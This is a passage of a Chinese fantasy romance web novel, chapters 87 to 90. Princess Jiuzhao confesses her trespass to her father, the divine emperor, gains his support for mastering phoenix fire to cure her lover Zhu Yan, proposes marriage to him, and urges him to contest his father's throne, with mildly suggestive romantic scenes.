“琼英姨,杏杳天仙也跟着回三清天了吗?她跟着前去西海看顾了,还是此刻在南陵?” 琼英王克制着自己的神情,正想说话,冷不丁腰间悬挂的牡丹令亮了起来。 她信手抹开上面的禁制,凝神感知几息。 肃容起身,对九昭说道:“殿下,帝座说要见您。” 87| 第87章 ◎“女儿愿意肩负起储君职责!”◎ 前段时间, 九昭话都说不清楚,而政务繁忙的琼英王又多半趁她睡着时过来探望。 如今好不容易找到个机会,她正打算趁机打探一下外界情况, 偏生神帝与她这般心有灵犀。 虽清楚闯下大祸, 父神定会来询问,但不成想,这一天来得这么快。 九昭偏了偏目光,想装成体力不支, 推脱改天再相见。 谁料话未脱口,那头琼英王眼疾手快开启了牡丹令,又朝着她行了一礼退出门去。 于是, 偌大宫殿里,只剩下她与半空中显形的神帝虚像大眼瞪小眼。 相比九昭的一时间不知手脚该往哪儿放,神帝的表情则是前所未有的严肃。 他抬手,瀚然如海的神力将殿内每一块砖瓦铺满, 隔绝外界的窥视偷听。 给九昭留足面子, 他才开口, 沉声道:“跪下。” 九昭利索下跪,诚恳叩首:“父神, 女儿知错了。” 神帝板着脸, 不为所动:“你且说说,你错在何处。” “错在不该不遵天令, 擅自闯入无日渊。 “真闯进去也就罢了, 还不能完美遮掩过去, 留下一堆烂摊子叫父神善后。” 前半句, 尚算有个认错的样子。 后半句, 又显出那从小到大都有的混不吝毛病。 神帝被她气得噎了一下, 复问:“你为何要闯进去?” 面对这个问题,九昭回答得就没那么快了。 在未知外界的具体情况下,她迅速思索起自己目前的处境。 杏杳并非她的心腹,哪怕再如何性格古怪,终究是父神的臣子,她没有背弃给予高度自由的帝君,反过来帮助自己这位储君的必要——因此,自己的秘密根本瞒不过父神。 得出结论,九昭老老实实开口:“为了取得烛龙的颌下珠,治好祝晏的弱症。” 她边说,边偷摸抬头观察神帝神色,预想见势不好,要不要逼出几滴眼泪珠子来博取同情。 闻言,神帝却并不意外,也没出现急火攻心的症状。 显然已经知晓了不少内情。 他同九昭对视片刻,态度依旧冷淡:“你与祝晏,是什么时候开始的事?” 既想好了坦白,便没有遮遮掩掩的必要。 九昭仿照过去同瀛罗谈心的那次,将少儿不宜的片段略去,言简意赅讲述了相近相许的过程。同时她深知神帝的父亲身份,比不得瀛罗好说话,便在重点放在祝晏舍命救她的几次上。 言语终究缺少份量,她又拿出祝晏赠予的初生尾给神帝看,以表祝晏对待自己的真心。 然而,九昭声情并茂比划半天,迎来神帝一句沉沉叹息:“昭儿,从前总觉得你不过三万余岁,还是青春拙稚的年纪,不该将太多的责任和重担压在你肩头,现在看来,你的确该长大了。” 说着,他在九昭的眼前幻化出北境的缩略地图,以及北神王崇黎的面容。 “你可知,这几万年来,崇黎小动作不断,不仅和北境的大小部落贵族频频私下往来,更有意让孟楚迎娶北神王照羽的四女为侧妃,好借此加强北境和东原的联系。” 道出这件外人不知的秘辛,他垂落的手掌虚空一握,将由水流化成的北神王捏了个粉碎,“崇黎在为父面前装得臣服隐忍,哪怕自己的继承人被你打得半条命都丢了,也面不改色。 “九尾狐族天赋强大,实力仅次于当年的凤凰族,崇黎心机又如此深不可测。若他们保持忠诚,愿意成为你我手中驱使的刀刃还好,偏偏他们在当年的仙魔大战中,又做出过背叛的行径。 “昭儿,为父不怕告诉你一个道理,背叛只有一次和无数次。 “如今,他们不过是看在三清天势强,焚业海势弱,才甘愿做小伏低。倘若明朝发生变故,他们依旧会临阵倒戈——所以,不管是崇黎孟楚,还是整个九尾狐族,都断断留不得。” 刻骨的杀意在神帝话音结尾处一闪而过,让九昭第一次见识到了慈父形象以外的生杀无情。 她的脑海浮现“举族皆灭”四个大字,不自觉打了个冷战,急急伏下头去:“父神明鉴,若要举族皆灭,难保不对父神的千古声名造成影响。况且,女儿选择祝晏,也不仅仅看中他的皮囊。 “女儿仔细想过,在北境一呼百应的是北神王,他身后又有大贵族之女神王妃支持,祝晏势单力薄,且年少时在北神王面前展现过出色的才能,被神王妃和孟楚欺辱多年,早与他们结怨已深。又为着杏杳诊断出弱症的缘故,北神王也对祝晏漠不关心,他们之间并无多少父子情谊。 “只要舍北神王和孟楚,扶持祝晏上位,有初生尾在手,我们便可以兵不血刃达成目的。” 九昭克制住内心对于血腥做法的寒颤,用尽量恳切客观的口吻,向神帝分析说明。 末了,她补充一句:“这些事情,是女儿同祝晏的相处过程中打探得知,想来应该不会有错。父神如果心有疑惑,可以再派人深入北境仔细搜集信息,届时再做定夺。” 不论真实想法如何,既然神帝的赤//裸杀意在前,九昭便知自己绝不能表现出一丝一毫的为情乱智——唯有足够冷静、足够理智,让父神看出自己的成长,他才能暂时放心。 否则,不到屠灭九尾狐族时,祝晏早已死无葬身之地。 九昭这壁思绪万千,另一边,神帝同样如此。 九昭昏迷期间,他命人召回朱映细细盘问,得知九昭到了芸生世,并没有像说的那样,以散心为名到处游山玩水,而是日日随同祝晏潜入人间皇宫,学习政务,厚积己知。 他不得不记一笔祝晏的功劳。 要是换一个身份不那么敏感,还能时时规劝九昭的男人,神帝早就下旨将他迎入离恨天。 不过试探一二,见九昭的见识城府不似当初,他的心得以安稳几分。 “嗯,去了趟芸生世,昭儿懂事不少。为父会依照你提供的消息,命人再去北境查探。 “若事实如此,祝晏的确是个可以利用之人。” 神帝的面色终于缓和不少。 察觉到气氛不再凝重,心中有诸多疑惑求解的九昭大着胆子:“父神,女儿还有几个问题。” “你问。” “女儿出生、并非母神诞育……是不是?” 神帝松懈几息的眉眼又一次拧了起来:“你怎会说到这个,是谁透露给你的?” “倒、倒并非是别人跟女儿说的。” 九昭咽了口唾沫,纠结起要不要把与烛龙缔结契约的真相告知神帝。 可一想到自己不靠谱万年的形象终于靠谱一次,且烛龙如今受血契影响,绝对听命于自身,九昭又觉得何必提及,徒增父神的担忧,索性道,“在无日渊的打斗过程中,女儿身上突然觉醒了一股从未有过的水系神力,又倏忽听见那烛龙唤了句、句父神的名讳,便想到这一层——” 九昭骤然说起“心诞”,无异于直接扯开神帝心底最悲伤的往事——他无声沉浸在爱妻伤情无力回天,守着她度过最后五百年的记忆里,以至下意识忽略了九昭那有些不自在的眼神。 过了许久,神帝才轻轻嗯了声,似在梦里: “昭儿,你别怪为父隐瞒了真相。那时,你母神伤重性命垂危,根本没有余力再诞育孩儿,我曾劝她数次,她坚持一定要为我们留下血脉结晶,为父想省去她分娩的痛苦,便用了这个办法。 “而战乱平定初期,人心不稳,众仙皆言巫劭怨怼你母神背离天道,弃他于不顾,反同为父成婚,才会怒而反叛三清天。若被他人知晓,你是为父耗费半身修为通过心诞生下的,为父的神帝之位难免会被动摇,届时,只会引发更大的危机——” “女儿明白的!父神,女儿不怪您。” 有了这层往事在,九昭对父母的感情越发触动。 她定了定心神,打定主意,郑重说道:“女儿询问这件事,除了想了解清楚当年真相,更想告诉父神,您与母神为女儿付出这么多,女儿不会再逃避责任,愿意肩负起储君职责!” 神帝微愕:“怎么,你终于肯了?” “是,食禄皆源于万民,自当为万民效命。” 九昭低声说出一句曾在芸生世老皇帝那里听到的话语,有些不好意思地垂下眼睛,“过去,女儿总是沉溺在情爱之中,浑然忘却了自己的身份,以后,女儿不会再如此。 “女儿选择祝晏,并非全然只为感情——而在于,他是合适的人。” 无言之间,神帝的眸底忽然泛起热意。 袅袅。 他在心中沉默地呼唤太婀的乳名。 你看到了吗? 我们的女儿,终于长大了。 …… “既如此。” “为父会昭告三清天,是为父命你在下界督工的过程中,顺道前去慰问无日渊中枯守千年的当值仙官们,慰问过程中,你突然察觉烛龙叛乱,所以与随行的瀛罗世子,一同将其诛灭。 “这也算是为你的储君之位,增添一份荣光。” 88| 第88章 ◎“只能成功,不可失败。”◎ 擅闯无日渊的过失, 在帝令矫饰之下,变成了奉旨诛杀烛龙的大功一件。 其中最让九昭高兴的,莫过于在此行中出了大力, 且身受重伤的瀛罗也能被记上一功——如此, 他当日当众取消和重瑶宗姬婚约一事造成的恶劣影响,亦可抵消不少。 高兴过后,那日两人在岩坳里的对话,又在九昭耳边响起。 果然, 身为高高在上的神姬,她再一次享受了违背天令的特权。 九昭突兀有些厌恶自己。 去往无日渊前,同瀛罗表现得那么大义凛然。 说到底, 不过是倚仗父神的庇护偏爱,有恃无恐而已。 见得知大错变成大功的九昭,没有自己预想中的那般欢喜,神帝便知她的成长不仅仅在于城府谋算之上, 于别的方面, 九昭也有了不便同自己这位父亲言说的体悟。 他欣慰于爱女的长成, 又担忧于爱女的长成。 思忖过后,决定还是先说些横亘眼前, 不容耽搁的要紧事。 “昭儿, 有关你体内的一半神力,为父有几点要提醒你。” 九昭一正面色:“女儿洗耳恭听。” “从前为父之所以没同你提起, 除了不可走漏风声外, 还有一点, 你目前的阶位不过天仙, 越级动用神力, 容易给身体造成不可逆转的损伤, 你要切记,日后不到万不得已,不得贸然使用。 “不过,既然你已经开启,为父便传授给你正确的运转法则。” 说着,神帝示意九昭靠近自己。 半身虚像仅是本体的投影,没有正常的肌肤温度。 九昭按照神帝的吩咐,闭上眼睛,不多时,一抹微凉的触感抵在她的额心。 它穿透九昭的皮肉骨骼,深入灵台当中,涓涓淌过,恍若涤净污秽的冷澈泉溪。 应该集中注意力的时刻,九昭却不安地抖了抖眉心。 她没想到还有这个环节,有些忐忑,神帝会不会就此发现烛龙的存在。 事实证明,她想多了。 神帝的力量顺着连通灵台的仙脉四散坠流,连带着一股更冷更冽的强大气息离开大脑的某处,游走在脉络血管当中。起先,冷意尚能承受,紧接着,它们降低了九昭热于常人的体温。 九昭试图搓搓肩膀,抵消这股寒冷。 奈何神帝的神力震慑下,她只能像个泥胎木偶般,僵硬站在原地。 不知过了多久,冷意渐渐消退。 散落在体内的强大气息,亦悉数涌入了丹田,将那处作为蛰居之地。 神帝谆谆善诱的声音响起:“屏气凝神,调动全部仙识,激发丹田神力,便能将其驱使。” 九昭听话地将全部仙识凝结成一股绳索,以绳索的顶端敲叩神力寄存的丹田。然而,那处像是笼罩上一层厚厚的墙壁,无论九昭怎样使劲,都纹丝不动,毫无外淌倾泻的预兆。 仙识是没有实体之物,全凭借运转者的想象。 九昭又将其化作箭簇、铁锤、长剑……依然奈何丹田的外壳不得。 她忙碌半晌,出了一身汗,有些泄气地睁开双眼,却见神帝笑着浮在上空:“不必气馁,以天仙之身开启上神之力,过程总是不容易的。但只要你勤恳修行,总有融会贯通的那一天。” 九昭暗自记下。 神力再好,因着其经常会失灵的特性,万万不可当成保命的手段。 还是努力提升仙力,才可以在三界之内自由来去。 九昭很快调整好沮丧的心态。 耳畔又传来神帝的询问:“昭儿,当时你激发神力的景象,可有被谁看到?” 九昭摇头:“当时事态危急,瀛罗早已晕了过去,女儿也命悬一线,不曾有第二人看到。” “如此甚好,免去了为父前往西海的一趟功夫。” 神帝转动着食指上的玉戒,“这件事不仅是瀛罗不可告诉,哪怕祝晏也不能。” 九昭知晓兹事体大,连忙郑重应下。 玉戒转动到第六圈时,神帝用平淡的语气道出最后一件最要紧的事:“杏杳告诉我,想要治好祝晏,唯有续脉淬体这一个办法。放眼三界之间,能做到这点的,唯有最高阶的涅槃凤火——” 九昭稍显放松的精神再度紧绷起来。 修炼涅槃凤火,过程何等艰难。 光是将烛龙捕获,她就已经损耗了一根本命翎。 不久前,瀛罗寒声阻止的话语,以及祝晏甘愿赴死的决绝面容历历在目。 他们作为臣子,终究拦不住自己。 可若父神不允许,那么她才是真正的束手无策。 九昭的心脏砰砰跳动着,抿了又抿的泛白唇心,无意识显示出她的紧张。 神帝将其收入眼底,突兀多出几分女儿还是那个女儿的无奈。 他索性不再拖延,表明自身态度:“众人皆知涅槃凤火难习,古往今来,不提凤凰族的始祖,唯有罪神巫劭一人修成。可是昭儿,你是三清天未来的神帝,若巫劭能习成,你却不能,落在臣子仇敌的眼中,只会是你作为统治者资质平庸的表现,所以,这件事你只能成功,不可失败—— “凤凰神树之上,凤凰神树之上,生长着最精纯最元初的涅槃火,传闻拥有焚烧万物之力。昭儿,你可知巫劭当初为练术法,将自己封入树心四十九年,没有被烧成灰烬的真正原因是什么?” 九昭用迷茫的双眼望着神帝,以显示自己的一无所知。 “那便是,他在承受涅槃火淬炼的同时,还引入了一缕鲛人之祖水神禺风的神力保护自身。” 又是禺风。 九昭想到无日渊内,庇护自己不死的,亦是融有禺风鳞片的鲛衣。 神帝边说,由水流幻化的图景,边栩栩如生展现在九昭眼前:“那时,我、你的母神太婀,还有巫劭,均跟随已经陨落的先战神修习仙术,有一日,他颁布了一个历练任务,叫我们前往西海查探一处海底迷穴。就是在那里,巫劭机缘巧合得到了禺风大神的一缕神力传承。 “原本进入迷穴前,我们说好了若发现不同属性的宝物,便按照各自的五行分配。 “禺风心机深沉,瞒着我们,偷偷将水神传承独占,后凭借此抗衡凤凰神树的至烈之火。到许多年后,恰逢他的万岁生辰,你母神回族赴宴,才从贪杯酒醉的他那里得知。” 禺风为鲛人之祖。 是祖神穹煌娘娘亲自创造的神明。 神族繁衍至今,经过代代稀释,神力早就不复当年的精纯强盛。 神帝尚未把话说完,九昭就顺着他给出的信息,想到了他通过心诞将自己生下的原因。 三清天神帝的半身修为,总抵得上一缕禺风水神的传承。 父神便是打算借助这样的方式,昭告三界,她九昭,乃天命之女——哪怕凤凰族的双生子没有遵照祖令成婚诞子,他与太婀的结合,依旧能够创造比巫劭还要实力强悍的未来女君。 …… “好了,昭儿,该说的话,为父已经全部告诉你了。你若能修成最高阶的涅槃火,料想将来登临神位,度过天道考验也会容易许多。眼下,你便留在丹瑄宫,琼英自会为你好好调养身子—— “待到完全康复,又有几分把握时,可以尝试复活凤凰神树。” 紫微宫政事繁忙,父女两人的一通对话,耽搁了不少辰光。 神帝交代完毕,半身虚像随即散去。 华光流转的牡丹令亦恢复原样,消失在原地,回到南神王那里。 祸事变成功劳,想要修炼涅槃凤火的想法,竟然得到了父神的支持。 且半副神力的融入,还大大降低了修炼期间的风险。 事情的发展出乎九昭预料,让她凭空生出几分虚幻的不真切感。 站在原地,将自己目前的处境前后理了一遍,九昭眼瞳中的斗志无声弥散开来。 既想好了握紧权柄。 便从这件事起,一点一点,树立属于女君九昭的威名。 …… 抓紧时间调理十来日,九昭那原本出行需要依靠木拐的身体,终于恢复原样。 考虑到不方便出门被人撞见,她命琼英王唤来回到南陵的杏杳。 询问一番之后,得知瀛罗的确脱离了生命危险,九昭的心情越发明亮。 她从杏杳那头拿来长乐命牌,摩挲几下上方的纹路,问道:“那祝晏呢,他可还好?” 明明人就在面前,只要进去命牌就能看到,却还要搞出这么多花样。 杏杳克制着翻白眼的冲动,垂下眼睛,装作恭敬地对九昭说道:“殿下的这块命牌内神力气息充裕,自是比什么灵丹妙药都好,祝晏仙君温养了这段时日,伤势已然恢复了七七八八—— “臣思忖着,若想要再多活两百年,总是不成问题的。” “……” 九昭额头的青筋跳动两下,无语回应,“后面半句,不说出来也没人会把你当哑巴。” 杏杳撇了撇嘴:“好吧,算臣多嘴。” 九昭本也不是来见她的。 话不投机半句多,她令杏杳离开宫殿哪凉快哪里先待着。 然后化为一道虚影,溶入长乐命牌当中。 …… 许久不曾进入命牌,内里的陈设和九昭上一次进来时,没有任何区别。 可实现环旋一圈,又隐隐多了几分不同。 那长久闭合的格窗被木棍支了起来,衬着窗外暖阳,格外明阔亮敞。 角落九昭从未打理过的博古架,上头杂乱的陈设也被重新摆放一番,看起来颇具美感。 虽然地方还是这么个地方,东西也还是那些东西,经过细节处的一通调整,辰光静好的生活气息扑面而来,仿佛每一个踏入此间的来客亦能被这股气息感染,心境无端明亮起来。 九昭的视线来回转动着,沿循半敞的殿门,瞧见正在给庭院花草浇水的青年身影。 她无声踱步过去,冷不丁开口道:“你在干什么?” 89| 第89章 ◎“我答应你。”◎ 青年提着花浇, 浇水浇得十分专注。 随着弯腰动作,他那仅着单衫的高挑身躯,绷出一段紧窄有力的腰线。 美色在前, 九昭起了一点不可言说的恶劣心思。 “怎么不说话?” “偷偷摸摸的, 在做什么?” 她端起嗓音,故意凶巴巴地吓唬祝晏。 又见他僵立过后,猛地转过身来。 “殿、殿下。” 祝晏结结巴巴唤了一声,嗓音倏而顿住, 没有后续言语。 与此同时,他翡翠般的眼眸亮了起来,湿漉漉的, 配合面容神情,显得十分激动。 “您终于来看我了!” 脚底碾过庭院石板的动静迅速而密集,他朝九昭的立身处小跑奔来。 仅剩两臂距离时,又想起自己的穿着不合礼数, 手上还拎着个有些脏兮兮的花浇壶, 猛地站住——随后小狗似地在原地踱步打起转来, 不知该先做哪样才好。 祝晏这副笨拙的模样,成功令九昭在心底轻笑出来。 她强忍住没缓和面色, 为了不致使恶作剧失败, 借着对方错开的身影,转眸看向花盆。 一小点翠绿的芽苞, 自深棕色土壤深处, 悄悄冒出个脑袋。 这显然不是长乐命牌内的产物。 九昭之所以会这么想, 是因为命牌的整个境阙, 皆由太婀的神力构建。 进入这里的人, 想要什么东西, 只要在脑海想象便能够出现——不过,神力再强大,也不能创造生命,就算真幻化出鲜花,不过是盆无需打理的“假花”,更不需要从原始形态种子种起。 难道,他没有听从自己的吩咐在此好好修养,反而偷偷离开了境阙? 一点对于祝晏身体情况的担忧,和命令被人违拗的想象,使得九昭的好心情稍稍出现起伏。 “……” 在她揣度对方出去,都做了些什么的时间里,祝晏终于按照放下花洒,穿上外袍的前后顺序,完成了一系列亲近的前奏,三步并作两步,将她的双手小心翼翼握紧:“殿下!” 他望着九昭的眼睛,温驯地解释着,“臣刚刚在给种子浇水——那些种子,是在梳妆台的妆奁匣子下面找到的,臣不认得它们来自什么仙植,便想先种下去,等到生发出来,再好好瞧瞧。” 母神的妆奁匣子底下…… 有这些东西吗? 九昭的思忖短暂空白一瞬。 年纪渐长以后,九昭便越发少来这里。对于素未蒙面的母亲,她的脑海实在没有任何欢乐的记忆。唯有在神后忌日以及心情不好想要独处的时候,才会进入境阙,翻看遗物以表怀念。 这些年,除了妆奁里的各色首饰,其他的一切,都保持原样。 九昭也没想到祝晏能从中翻出一包种子。 不过,她还是没什么表情,态度喜怒难辨:“就只是想要看看种子长出来,会是什么样子这个原因吗?你又不是不知道这是哪里——在我母神留下来的境阙中,你敢乱动遗物,如此放肆。” “抱歉,殿下。” 察觉九昭好像真的不开心,祝晏雀跃的神容一凝,垂下长睫忙不迭开始道歉。 他抿了抿薄唇,在道歉结尾小声添上心声,“臣只是觉得,境阙再美,终究只能幻化出没有生命力的东西……神后殿下带一包种子进来,或许就是想要真正的花草和香气在这里蔓延…… “它们生长、开放、枯败,明年又重新焕发生机……得以代替神后殿下,年年同殿下常伴。” 母神会是这样想的吗? 斯人已逝,九昭无从得到答案。 可祝晏的言语,又叫她觉得,好像真的能够借由种子,体会到一点母亲爱子的拳拳心意。 九昭的眸光温和下来,问道:“已经抽了芽出来,可以分辨出是什么了吗?” “好像不行。” 祝晏咽了口唾沫,以极慢的速度摇首,“或许有木系神仙来这里,会好辨认许多。” 九昭没有出声,她将双手从祝晏的掌心抽出来,抬起左手,缓缓靠近他的面孔。 祝晏还在一瞬不瞬地望着她。 呼吸微滞,定定眼神像极了做错事等待被惩罚的孩童。 “哈哈——” 九昭忽然笑出了声。 绮丽裙摆搅散境阙内明煦的日光,她踮起脚尖,曲指弹了下祝晏的脑门。 “胆小鬼。 “难道我会吃人?” 欣赏完祝晏吃痛的表情,那手又滑了下去,钻进掌心,同他十指相扣。 九昭拉着他,一蹦一跳,脚步轻快地走向不远处放有花浇壶的木架,“我看你刚才花才浇一半,壶里应当还有水吧?今天难得有空,我便陪你一起!” 指节轻叩的余韵仍停留在肌肤之间。 祝晏眨了眨眼,身体经九昭牵拽着,被动前行。 他后知后觉发现,今日的九昭似乎心情很好。 追逐着九昭的背影几息,他也开始佯装生气:“殿下,您好过分,居然戏弄臣——” 抢在祝晏之前拎起花浇,九昭扭头,从弯曲的壶颈处抖了点水滴出来泼向对方。 “略略略,你能拿我怎么样?” 一击成功,她赶紧甩开祝晏的手,同他围着花盆玩起你追我跑的游戏,“你可知我在丹瑄宫的大床上一动不能动躺了一个多月,人都快要发霉了,好容易身体恢复,不得赶紧找个人来欺负?” 闻言,祝晏的脚步一顿,又要露出内疚表情:“殿下,都是为了臣,您才会如此……” 却被突然倾身过去的九昭伸出两指,抵住即将下弯的唇角:“不准苦兮兮的,以后要多笑,不管遇到什么事都要笑,你倘若不好看了,变成个苦脸公,我可要奏明父神悔婚的!” “好,多——” “笑”这个字还没说出口,祝晏狭长的双眸因“悔婚”一词瞪成幼鹿似的浑圆。 而九昭依旧眯着眼睛,唇角勾着漫不经心的笑意。 有一刹那,祝晏以为自己的弱症蔓延到耳部,以至于听觉出现了差错。 这怎么都不像是在告知即将成婚的消息,反而仿佛在随口寒暄——今日天气真好。 他只能不确定地问道:“悔、悔婚,殿下要跟谁成婚吗?” “对啊,那人远在天边,近在眼前。” 九昭拖长语调,细腻指腹摁着青年的唇线磨了磨,才若无其事地嬉笑着收回手,“半个月前,我已将我们之间的事禀告给父神了,他没有反对,只说你只要是真心对我的就好。” 那些在神帝面前袒露过的计划、谋算、野心、适合,均被掩藏在真挚的笑容之下。 她同不敢置信的青年对望,反问道:“怎么,你不愿意嫁给我?” “我、我,臣,身份低微,且命不久矣,怎堪匹配殿下的身份——” 祝晏话音打着结,薄唇张合间差点咬住自己的舌头。 梦寐以求的幸福来得太快,滔天的狂喜将他从头吞没。 过于震惊之下,他捂着心口,弯腰剧烈咳嗽起来。 九昭连忙过去,抚在后背帮他顺气。 呛出的大颗生理热泪下淌滑过面颊,流入无法闭合的唇缝。 在舌尖洇散开来的,属于泪水特有的苦涩滋味中,他听见九昭极为清晰的一字一句:“祝晏,你很好,我喜欢你。我会为了你唤醒凤凰神树,在其中度过四十九年,直到修成最高阶的涅槃凤火——所以,你也要为了我,好好活下去。” 温热仙力顺着背脊涌入祝晏身体,平缓了他隐隐作痛的胸口。 不是正式的场合,没有盛大的典礼。 她手上拎着浇壶,甚至因为刚才的跑动,随意梳起的鬓发还有些凌乱,偏偏神情如此郑重。 这一切来得太快,快到祝晏突然感到呼吸困难。 “父神不欲我修炼的过程中出现任何差错,只叫三清天以为我和你还有瀛罗,仍在芸生世完成修复登天阶的任务,算算时间,我们大约还得在南陵隐姓埋名一百年。不过,也足够了。 “待百年后我修成涅槃凤火归来,为你续脉淬体,届时我会请求父神将你我婚事昭告四方。” 九昭没有停止释放为祝晏缓解病咳的仙力。 赤色仙芒的华光氤氲中,她探出双臂用力抱住了对方。 高挑颀长的青年,病弱却无法平静的心脏,在胸腔中剧烈跳动着。 枕着祝晏的心跳,闭上眼睛的瞬间,有许多回忆在九昭眼前涌现。 不懂爱时想要相伴一生的人没在一起。 懂得爱时想要长相厮守的人没能留住。 现在,她明白了,让爱不再那么纯粹,掺杂着利用的真心,依然叫做真心。 所以,面前人就是正确的选择了吗? 如同母神留下种子在命牌里的原因一样,无人能够告诉九昭答案。 她缓了缓呼吸,把即将到来的婚姻背后,最要紧的部分轻轻诉说出口:“但是,祝晏,你要明白,就算我不在意,以神王庶子的身份,成为未来神帝的夫婿,传出去,终究是不能服众的。 “我要你好好活下去,不仅仅是为了同我长长久久在一起,我更要你答应我,重燃你年少时的野心,去争,去抢,去你的父王和嫡出兄长手里,抢来北神王的位置—— “我希望,那个位置,只有你能坐上去。” 九昭的嘴唇相隔单薄的衣衫,贴在胸腔最敏感的皮肉。 跟随心脏越来越快的跳动,交融成奇异而蛊惑的旋律。 她把话说完,意料之内地感受到祝晏浑身僵硬的肌肉。 她明白,要一个因为病弱早夭的预言,早早放弃万丈雄心的青年,再次直面自己的过往,多少有些不容易。地位出身在前,步步拉开差距,孟楚早已领先他几万年,要扳倒他谈何容易。 可九昭并不着急。 她甚至没有半点祝晏会拒绝的忧虑。 他爱她。 若真的爱她,便要献上血肉和灵魂——自己所拥有的一切,无条件追随她。 …… 许久以后。 九昭感觉到与自己亲密无间相贴的青年躯体一动—— 祝晏反客为主,锁紧长臂,将她牢牢扣进怀里。 “我答应你。” 他沉声说道,“吾爱,我什么都会答应你。” 90| 第90章 ◎“一定是狐狸精!”◎ 听见祝晏的回答, 九昭十分满意。 前两次的失败经历,叫她明白单纯的感情并不稳固。 从爱人,变成爱人加同盟的结合体, 或许才是男女之间最为稳定牢靠的关系。 坦诚心意过后, 九昭对待祝晏也不再总是暗存试探。 丹瑄宫长日寂寥,无人相伴的现状,促进了他们的感情迅速升温。 奈何杏杳折返上界之后,仅在南陵暂住几日, 便回到二清天的神医署任职。 九昭不顾及她的忙碌,接连以琼英王的名义召见她几次。 终于惹得这位既要管理神医署的日常事务,又要在一清天和二清天间来回奔波的医仙令, 提出严重抗议:“帝座吩咐过,要殿下您在南陵隐匿行迹生活,您这般频频召见,耽误臣的差事不说, 就连好几位神医署的同僚都察觉到了不对劲, 私底下总是向臣打听南陵这头的情况!” 杏杳的意思很直白。 若无要紧事, 只是为了与长乐命牌内的情人约会,九昭还是免开尊口为好。 虽不知晓杏杳的说辞, 仅是当做个借口减少与自己见面的次数, 还是确有其事。 但说句心里话,九昭也不想常常见到杏杳这张讨人厌的面孔。 每每她进入长乐命牌与祝晏亲近, 等不了太久, 候在偏殿失去耐心的杏杳就会进来敲门——好像从被母亲生下来开始, 她的脑子里就没有融入看人眼色这项本领。 无论九昭同她吵架, 还是沉着脸不搭理, 她道歉请罪过后, 转眼依旧我行我素。 长到这么大,九昭难得遇到了一个旗鼓相当的对手。 偏偏祝晏的弱症若想治愈,还需要用到她,骂也骂不得,打也打不得。 一来二去,杏杳还没如何,反倒是九昭无师自通地创造出了新的术法。 她从命牌内,取出一根神后在世时经常佩戴的凰羽发钗,将其作为媒介,引自身仙力和以供境阙流转的神力一缕,融合开辟出一方独立的传送阵法,并附着在发钗之上。 反复尝试,用仙力不断加固,直至阵法运行稳定。 九昭潜心钻研了一个月,终于大功告成。 只要催动发钗上附着的阵法,无需长乐命牌在身侧,也能开启结界穿梭时空,同祝晏相见。 如此,既方便了杏杳随时的看顾救治,又有助于两位小情侣排遣相思之苦。 …… 解决了见面的麻烦,在彼此确定仙侣关系后的第三个月—— 祝晏这把干柴,九昭这簇烈火,碰撞在一起,愈烧愈烈。 境阙本就以寝殿作为主体,也没太多以供娱乐的东西。 花盆里的小芽冒出脑袋后,长成进度的益发缓慢,浇腻了水,九昭会拉着祝晏躺在内殿的床榻上,用后脑勺枕着他的大腿,让他为自己念下界一趟,在芸生世搜罗的各色话本。 想不通的地方,她还会眨巴着明媚无辜的双眼,同祝晏探讨。 “你说,既然话本里写明了梁生是一心向道的修仙者,为何还会被山间的野狐精勾引?” “嗯,大概是因为梁生心志不坚。” “可我在芸生世听说,那野狐族最擅幻术和魅术,就连万象宫的前几任掌宫也中过招—— “诶,阿晏,野狐族会的,九尾狐族会吗?” 说到感兴趣的地方,九昭支棱起上半身,抵着祝晏的腰腹,趴在他捧书的臂弯间,眸光闪闪发亮,“如果结束后可以不被挖出心脏来吃掉,我倒想试一试,听说中了招数,人会极乐无穷。” 神姬殿下巴掌大的小脸之上,毫无欲念渲染的颜色。 可正是因为如此,“极乐无穷”四字经由她檀口一吐,化作了梦寐之中旖旎无边的想象。 祝晏爱极了她有什么便说什么的坦率。 只是听其感叹想要与野狐春风一度,心口又难免吃味。 他放下话本,双手轻轻托住九昭的后颈,在她没有挽起的鸦黑长发上摩挲两下,垂眸低声告诉她:“殿下,无论是三清天的狐族,还是芸生世的狐族,晏思忖,既为同族,其实性情大抵相同——擅长幻术和魅术是真的,心眼小爱醋妒也是真的。 “若他们听到自己的爱侣想要与外人春风一度,恐怕还未杀过去,掏出那引诱爱侣的该死的情敌的心脏,自己的心脏便先如同死了一回那般痛。” 有人讲故事,有人照镜子。 祝晏什么都好,偏偏就是在一起之后,再也不会掩饰醋意。 九昭喜欢看他吃醋,看他在其他人面前表现对于自己的在意。她沉溺于这种游戏乐此不疲,假装听不懂祝晏的弦外之音,扒着他的衣衫追问:“还有呢,你还没说极乐无穷是不是真的!” 祝晏瞥她一眼。 这才明白了醉翁之意不在酒。 她哪里是想与什么野狐组春宵一度,分明是想同自己—— 念头明了,祝晏的双颊顿时热辣起来。 九昭的倾心来得太快太好,以至于三月过去,他仍然有做了个美梦的错觉。 自己这个人,孑然一身,不能为九昭提供任何。 若身子可以令她欢喜…… 那也算发挥了用处。 祝晏没有犹豫太久。 他释放了些许可以助兴却不会伤身的魅幻之术,微微眯起双眼,居高临下望着九昭,线条优美的淡色薄唇一张一合:“极乐的确是极乐,若享受过后会被吃掉心脏……殿下也不怕吗?” 被生了副三清天至盛美貌的青年勾引,九昭尚算平稳的脉搏不自觉砰砰震动。 她原不过是存了几分狎昵心思,想要调戏两下性格腼腆的祝晏。 奈何—— 咕咚咽下口唾液。 神识呈开放的状态,被爱侣淡金色的仙力入侵,某种雀跃且迷幻的快乐自躯体深处苏醒。 送上门的肉,应该放着不吃吗? 九昭扪心自问。 算上没成亲的兰祁,她已经是三婚了。 什么礼不礼节的,她只知道若真正心悦一个人,身体又怎会不渴望合二为一。 顾着所剩不多的一点矜持,不愿叫祝晏认为自己仅是贪图他的美色,九昭清了清嗓子,勉力拼凑出端庄的姿态,问出最后一个煞风景的问题:“我以为,你会想要留到我们的新婚唔……” 祝晏俯下脖颈,以吻打断了她。 “不管成婚与否,在晏心中,自己早已是殿下的人……连初生尾都可献的,这又算得什么。” 魅术引诱之下,九昭的心已是一片火热。 她探出手指,如同抚摸一块易碎的美玉般挲了挲祝晏辉月色的鬓发: “既是极乐,死也甘愿的。” …… 床笫之欢,有过一次,就会有第二次、第三次、第四次…… 起先,九昭还在担心祝晏的身体,太过激烈会不会咳血晕过去。 结果却告诉她多虑了。 情事中的祝晏,比她期待的还要好。 他放得开,什么都愿意做。 扮成粗鲁的土匪头子和刚烈的压寨夫郎,扮成留府教书的女先生和日夜寂寞的寡居遗孀。 